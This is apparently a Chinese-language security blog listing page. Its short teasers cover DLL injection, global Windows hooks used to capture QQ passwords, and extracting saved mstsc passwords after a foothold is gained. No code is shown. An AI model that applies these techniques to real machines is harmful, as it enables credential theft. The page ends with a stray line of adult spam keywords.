    全局鉤子注入-獲取QQ密碼實現 全局鉤子注入-獲取QQ密碼實現 水一篇????? SetWindowsHookExA 將應用程序定義的掛鉤過程安裝到掛鉤鏈中。您將安裝一個掛鉤程序來監視系統中某些類型的事件。這些事件與特定線程或與調用線程相同的桌面中的所有線程相關聯。
    初探DLL注入
    2023-02-06 10:35:24
    DLL注入是指向運行中的其它進程強制插入特定的DLL文件。從技術細節來說,DLL注入命令其它進程自行調用LoadLibrary()API,加載用戶指定的DLL文件。從上圖可以看到,test.dll已被強制插入進程。加載到某一進程中的test.dll與已經加載到某一進程中的dll一樣,擁有訪問notepad.exe進程內存的權限。DLL被加載到進程后會自動運行DLLMain()函數,用戶可以把想執行的代碼放到DLLMain()函數,每當加載DLL時,添加的代碼就會得到執行。利用這種特性可以修復程序Bug以及添加新功能
    Windows注入的一些方式
    在常見滲透過程中我們拿到了一個pc權限,目標pc的mstsc可能保存了其他機器的密碼。所以獲取它保存的密碼是非常有利用價值的。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类